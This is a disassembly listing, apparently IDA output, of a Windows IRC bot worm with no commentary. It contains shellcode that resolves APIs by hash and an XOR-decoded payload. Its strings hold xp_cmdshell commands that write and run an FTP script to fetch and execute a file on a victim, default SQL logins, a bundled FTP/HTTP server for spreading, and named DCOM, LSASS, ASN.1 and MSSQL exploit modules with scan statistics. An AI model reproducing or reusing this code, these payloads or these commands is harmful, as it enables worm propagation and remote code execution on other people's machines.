loc_4262C1:				; CODE XREF: sub_4262A9+1Ej
		cmp	[ecx], ebx
		jz	short loc_4262C9
		mov	ecx, [ecx]
		jmp	short loc_4262C1
; ---------------------------------------------------------------------------


loc_4262C9:				; CODE XREF: sub_4262A9+1Aj
		mov	edx, edi


loc_4262CB:				; CODE XREF: sub_4262A9+2Aj
		cmp	[edx+4], ebx
		jz	short loc_4262D5
		mov	edx, [edx+4]
		jmp	short loc_4262CB
; ---------------------------------------------------------------------------


loc_4262D5:				; CODE XREF: sub_4262A9+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_4262A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4262E0	proc near		; CODE XREF: sub_4261E4+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_4262E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4262F6	proc near		; CODE XREF: sub_4261E4+16p
					; sub_4261E4+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_42630C:				; CODE XREF: sub_4262F6+33j
		jecxz	short loc_426346
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_426319:				; CODE XREF: sub_4262F6+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_426325
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_426319
; ---------------------------------------------------------------------------


loc_426325:				; CODE XREF: sub_4262F6+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_42630C
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_426346:				; CODE XREF: sub_4262F6:loc_42630Cj
					; sub_4262F6:loc_426346j
		jmp	short loc_426346
sub_4262F6	endp

; ---------------------------------------------------------------------------
		dd 0

; =============== S U B	R O U T	I N E =======================================



sub_42634C	proc near		; DATA XREF: seg000:00404937o

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_42639E
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_426369:				; CODE XREF: sub_42634C+38j
		jecxz	short loc_426399
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_426374:				; CODE XREF: sub_42634C+32j
		lodsb
		test	al, al
		jz	short loc_426380
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_426374
; ---------------------------------------------------------------------------


loc_426380:				; CODE XREF: sub_42634C+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_426369
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_426399:				; CODE XREF: sub_42634C:loc_426369j
		mov	[esp+arg_0], ebx
		retn
sub_42634C	endp


; =============== S U B	R O U T	I N E =======================================



sub_42639E	proc near		; CODE XREF: sub_42634C+7p

; FUNCTION CHUNK AT 004263D6 SIZE 00000007 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_4263B7
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_4263C2
; ---------------------------------------------------------------------------


loc_4263B7:				; CODE XREF: sub_42639E+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_4263C2:				; CODE XREF: sub_42639E+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4263D6
sub_42639E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4263C9	proc near		; CODE XREF: sub_42639E:loc_4263D6p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_4263C9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42639E


loc_4263D6:				; CODE XREF: sub_42639E+29j
		call	sub_4263C9


loc_4263DB:				; DATA XREF: sub_4040AD+1Bo
					; seg000:0040D652o ...
		add	[ebx], ah
; END OF FUNCTION CHUNK	FOR sub_42639E
; ---------------------------------------------------------------------------
		db 3 dup(0)
dword_4263E0	dd 60h		dword_4263E4	dd 62B0606h, 2050501h, 0A0hdword_4263F0	dd 30h							; seg002:0042C574o ...
dword_4263F4	dd 0A1h		dword_4263F8	dd 3		aCccc		db 'CCCC',0             ; DATA XREF: sub_404108+153o
		align 4


loc_426404:				; DATA XREF: sub_404108+E8o
		jmp	short near ptr dword_42640C
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_42640C	dd 0		dword_426410	dd 2F2F7325h, 2E732520h, 0aCmdKEchoOpenSD	db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: seg000:0040495Co
		db 'echo quit >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
aExecMaster___0	db 'EXEC master..xp_cmdshell ',27h,'%s',27h,0 ; DATA XREF: sub_404F08+190o
		align 4
; aExecMaster(long long, *)
aExecMaster__xp	db 'EXEC master..xp_cmdshell ',27h,'del eq&echo open %s %d >> eq&echo us'
					; DATA XREF: sub_404F08+15Co
		db 'er %d %d >> eq &echo get %s >> eq &echo quit >> eq &ftp -n -s:eq '
		db '&%s&del eq',0Dh,0Ah
		db 27h,0
		align 4
aDriverSqlServe	db 'DRIVER={SQL Server};SERVER=%s,%d;UID=%s;PWD=%s;%s',0
					; DATA XREF: sub_404F08+C8o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: sub_404F08+2Bo
					; seg002:0042C2E8o
		align 4
aRoot		db 'root',0             ; DATA XREF: sub_404F08+24o
					; seg002:0042C2F0o ...
		align 10h
aSa		db 'sa',0               ; DATA XREF: sub_404F08+19o
		align 4
dword_426584	dd 0C933FA8Bh, 909035B2h, 0C1816690h, 0C7830138h
					; DATA XREF: seg000:00405377o
		db 1Ah
; ---------------------------------------------------------------------------


loc_426595:				; CODE XREF: seg002:0042659Cj
		mov	bl, [edi]
		xor	bl, dl
		mov	[edi], bl
		inc	edi
		loop	loc_426595
		ficom	word ptr [esi]
		dec	edi
		pop	esp
		aaa
		xor	[ecx+6Ch], bl
; ---------------------------------------------------------------------------
		dw 28CDh
		dd 0E4B9EBA9h, 36E14579h, 151512C5h, 66623D05h,	7066A07h
		dd 7979711Bh, 0DD30DE34h, 0CACACACCh, 1FD8B668h, 516C055Fh
		dd 75BE34BEh, 2945BE39h, 3D4DBE98h, 0BE096AB8h,	0BECE342Eh
		dd 0CE344D6Eh, 34297EBEh, 1166BECCh, 6466CF34h,	156EBE67h
		dd 0FC04CE34h, 0ACF50474h, 34BE01BEh, 0F70499CBh, 0F5B1D7E4h
		dd 833AC240h, 71B83070h, 0C533170h, 53D44025h, 6D6F2504h
		dd 6765636Bh, 74257B1Eh, 7F39823Ah, 34BD31BEh, 78833ACDh
		dd 0B871BC30h, 3078CBEDh, 78CB8B40h, 0CB144131h, 68B81778h
		dd 0E5CA662Dh, 315FF2BCh, 3070BD6Dh, 3F4270B5h,	0B54168B8h
		dd 0DC21135Eh, 0CACACA4Dh, 0EE04FBBCh, 66666666h, 0CA637363h
		dd 6D60A2E5h, 5F05BC53h, 0CA626025h, 637BE160h,	0F960CA62h
		dd 0CA626066h, 0B8A2E560h, 0CA65BD70h, 6060D160h, 0B8DD60CAh
		dd 0A1393071h, 501B5D66h, 695D504Dh, 0A1515856h, 70B8E704h
		dd 6262A1F9h, 0CB666662h, 67C734F3h, 4D70B8A1h,	0BD70B865h
		dd 663D8465h, 0CB255F66h, 666667FBh, 60CA6066h,	0CACA5FD9h
		dd 0D560h
word_4266D8	dw 7A69h		; DATA XREF: sub_4051A0+30r
		align 4
a221GoodbyeHapp	db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: seg000:004059BAo
aQuit		db 'QUIT',0             ; DATA XREF: seg000:004059A6o
					; seg000:0040D36Do
		align 10h
a425CanTOpenDat	db '425 Can',27h,'t open data connection.',0Ah,0
					; DATA XREF: seg000:00405999o
		align 4
dword_426724	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: seg000:0040594Eo
		dd 2029206Ch, 2BBBB02h
aFileSentToSOnP	db '  File sent to %s on port %d, now executing %s on remote machine.'
		db 0
		align 4
a226TransferC_0	db '226 Transfer complete.',0Ah,0 ; DATA XREF: seg000:0040592Fo
a150OpeningBina	db '150 Opening BINARY mode data connection',0Ah,0
					; DATA XREF: seg000:00405903o
		align 4
aRetr		db 'RETR',0             ; DATA XREF: seg000:004058EBo
		align 10h
a200PortCommand	db '200 PORT command successful.',0Ah,0 ; DATA XREF: seg000:004058D6o
		align 10h
aS_S_S_S	db '%s.%s.%s.%s',0      ; DATA XREF: seg000:004058C5o
aXX		db '%x%x',0Ah,0         ; DATA XREF: seg000:00405892o
		align 4
aS		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: seg000:00405851o
		db ']',0
aPort		db 'PORT',0             ; DATA XREF: seg000:00405818o
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0 ; DATA XREF: seg000:004057EAo
		align 4
aList		db 'LIST',0             ; DATA XREF: seg000:004057D7o
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
					; DATA XREF: seg000:0040579Co
		align 10h
aPasv		db 'PASV',0             ; DATA XREF: seg000:00405789o
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0 ; DATA XREF: seg000:00405779o
aI:					; DATA XREF: seg000:00405765o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: seg000:0040573Eo
aA:					; DATA XREF: seg000:0040572Ao
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: seg000:00405713o
					; seg000:0040574Eo
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: seg000:00405703o
		align 10h
off_4268E0	dd offset dword_445750	; DATA XREF: seg000:004056EFo
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: seg000:004056DFo
		align 4
aRest		db 'REST',0             ; DATA XREF: seg000:004056CBo
		align 10h
a215Fuckftpd	db '215 fuckFtpd',0Ah,0 ; DATA XREF: seg000:004056BBo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: seg000:004056A7o
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: seg000:00405697o
		align 10h
aPass		db 'PASS',0             ; DATA XREF: seg000:00405683o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: seg000:00405673o
		align 10h
aUser_0		db 'USER',0             ; DATA XREF: seg000:0040565Eo
					; seg002:0042C320o ...
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: seg000:0040564Do
		align 10h
a220Fuckftpd0wn	db '220 fuckFtpd 0wns j0',0Ah,0 ; DATA XREF: seg000:004055C5o
		align 4
aRb		db 'rb',0               ; DATA XREF: seg000:00406D50o
					; sub_40B43D+Bo
		align 4
unk_42697C	db    2			; DATA XREF: sub_405B07+3F8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 4
asc_4269C4	db 0Dh,0Ah,0		; DATA XREF: sub_405B07+2CFo
		align 4
asc_4269C8:				; DATA XREF: sub_405B07+293o
					; seg000:0040CEE1o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405B07+269o
		align 4
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: seg000:00406058o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: seg000:00406035o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: seg000:00405FF9o
					; sub_40AAB5+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: seg000:00405FE5o
		align 10h
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: seg000:loc_405FC7o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: seg000:00405FC0o
		align 4
unk_426BE8	db    2			; DATA XREF: sub_4060E4+28Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_426C34	db    2			; DATA XREF: sub_4060E4+20Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_426C78:				; DATA XREF: sub_4060E4+157o
					; seg002:0042DFB8o
		unicode	0, <*>,0
asc_426C7C:				; DATA XREF: sub_4060E4+FBo
					; seg000:004063BDo ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_4060E4+EAo
					; seg000:0040685Eo ...
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_4060E4+3Ao
					; seg000:0040A651o ...
		align 4
aS_2		db '\%s',0              ; DATA XREF: sub_4060E4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: seg000:004069E2o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:004069C7o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: seg000:004069ACo
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: seg000:0040691Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: seg000:004068F5o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: seg000:loc_4068ACo
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: seg000:004068A5o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: seg000:00406805o
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: seg000:004067C8o
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: seg000:00406795o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: seg000:loc_406756o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: seg000:0040674Fo
		align 4
aSS		db '%s%s/',0            ; DATA XREF: seg000:00406708o
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:004066C4o
					; seg000:0040681Ao
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: seg000:004066A2o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: seg000:00406678o
					; seg000:004067A7o
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: seg000:0040664Eo
aAm		db 'AM',0               ; DATA XREF: seg000:00406624o
		align 4
aPm		db 'PM',0               ; DATA XREF: seg000:00406618o
		align 4
a__0:					; DATA XREF: seg000:004065E1o
		unicode	0, <.>,0
a__		db '..',0               ; DATA XREF: seg000:004065C6o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:00406554o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: seg000:004064DBo
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:004064BFo
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: seg000:0040648Bo
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: seg000:00406441o
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: seg000:0040640Co
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: seg000:004063DFo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406B01+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
		dd 4000500h, 7868746Bh,	0
		dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h
aFileSentToSExe	db '  File sent to %s, executing %s on remote machine.',0
		align 10h
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundOn	db '  File not found on %s, (%s).',0
		align 4
		db    0
		db 5, 0, 1
		db  46h	; F
		db 69h,	6Ch, 65h
		db  20h
		db 4Eh,	6Fh, 74h
		db  20h
aFound		db 'Found',0
		align 10h
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFileSentToSE_0	db 'File sent to %s, executing %s on remote machine.',0
		align 4
unk_427234	db    2			; DATA XREF: seg000:00406D7Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToOpenFi	db 'Failed to open file: %s (possible virus scan!)',0
		align 4
unk_427284	db    2			; DATA XREF: seg000:00406C8Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketF_1	db 'Error: socket() failed, returned: <%d>.',0
aOctet		db 'octet',0            ; DATA XREF: seg000:00406C31o
		align 8
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_40776F+164o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: seg000:00404ACFo
		align 4
		dd 5 dup(0)
dword_427300	dd 87h							; seg000:0040FDBEr ...
off_427304	dd offset sub_4033CB	; DATA XREF: sub_40776F+1E6r
dword_427308	dd 0							; sub_402DDD+199r ...
dword_42730C	dd 1		dword_427310	dd 0		aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 4033CBh, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 4033CBh, 0
		dd 1, 0
aDcass		db 'dcass',0
		align 4
		dd 63640000h, 737361h, 6 dup(0)
		dd 1BDh, 402F84h, 0
		dd 2 dup(1), 7361736Ch,	35343473h, 736C0000h, 34737361h
		dd 3534h, 5 dup(0)
		dd 1BDh, 403C8Bh, 0
		dd 2 dup(1), 7361736Ch,	35333173h, 736C0000h, 31737361h
		dd 3533h, 5 dup(0)
		dd 87h,	403C8Bh, 0
		dd 2 dup(1), 7361736Ch,	39333173h, 736C0000h, 31737361h
		dd 3933h, 5 dup(0)
		dd 8Bh,	403C8Bh, 0
		dd 2 dup(1), 61736C63h,	7373h, 6C630000h, 73736173h, 6 dup(0)
		dd 1BDh, 402DDDh, 0
		dd 2 dup(1), 6C31736Ch,	73h, 736C0000h,	736C31h, 6 dup(0)
		dd 1BDh, 403E3Ch, 0
		dd 2 dup(1), 7173736Dh,	6Ch, 736D0000h,	6C7173h, 6 dup(0)
		dd 599h, 404F08h, 0
		dd 2 dup(1), 316E7361h,	6E626D73h, 736D0074h, 737361h
		dd 6 dup(0)
		dd 599h, 40514Ch, 0
		dd 2 dup(1), 6C616572h,	74736163h, 65520000h, 61636C61h
		dd 7473h, 5 dup(0)
		dd 22Ah, 4052E0h, 0
		dd 1, 0
aAsn1http	db 'asn1http',0
		align 2
aAsn1http_0	db 'asn1http',0
		align 4
		dd 5 dup(0)
		dd 50h,	404907h, 0
		dd 2 dup(1), 316E7361h,	626D73h, 73610000h, 6D73316Eh
		dd 62h,	5 dup(0)
		dd 1BDh, 404907h, 0
		dd 2 dup(1), 7361736Dh,	73h, 73610000h,	6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	404907h, 0
		dd 2 dup(1), 0
aAsn1smbnt	db 'asn1smbnt',0
byte_42766A	db 1			; DATA XREF: seg000:loc_41193Ar
					; seg000:00411944o
aMsass		db 'msass',0
		align 4
		dd 100h, 3 dup(0)
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407119+81o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407119+42o
		align 4
unk_4276A4	db    2			; DATA XREF: sub_407119+11o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_4276DC	db    2			; DATA XREF: sub_4071E3+42o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_427710	db    2			; DATA XREF: sub_4071E3+2Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_427744	db    2			; DATA XREF: seg000:004075C9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
dword_42778C	dd 28026502h, 62302E31h, 20282029h, 70747468h, 1F6D2E64h
					; DATA XREF: seg000:00407561o
					; seg000:00411E74o
		dd 206C1F64h, 0BB022029h, 202002BBh, 76726553h,	6C207265h
		dd 65747369h, 676E696Eh, 206E6F20h, 203A5049h, 253A7325h
		dd 44202C64h, 63657269h, 79726F74h, 7325203Ah, 2E5Ch, 28026502h
		dd 62302E31h, 20282029h, 2E707466h, 1F641F6Dh, 2029206Ch
		dd 2BBBB02h, 61462020h,	64656C69h, 206F7420h, 72617473h
		dd 65732074h, 72657672h, 7265202Ch, 3A726F72h, 64253C20h
		dd 2E3Eh, 28026502h, 62302E31h,	20282029h, 2E707466h, 1F641F6Dh
		dd 2029206Ch, 2BBBB02h,	65532020h, 72657672h, 61747320h
		dd 64657472h, 206E6F20h, 74726F50h, 6425203Ah, 6946202Ch
		dd 203A656Ch, 202C7325h, 75716552h, 3A747365h, 2E732520h
		dd 0
		dd 28026502h, 62302E31h, 20282029h, 70746674h, 1F6D2E64h
		dd 206C1F64h, 0BB022029h, 202002BBh, 6C696146h,	74206465h
		dd 7473206Fh, 20747261h, 76726573h, 202C7265h, 6F727265h
		dd 3C203A72h, 2E3E6425h, 0
		db    2
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStartedO	db 'Server started on Port: %d, File: %s, Request: %s.',0
		align 10h
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_407636+38o
					; sub_40A155+46o
unk_42791C	db    2			; DATA XREF: sub_40776F+EBo
		db 65h,	2, 28h
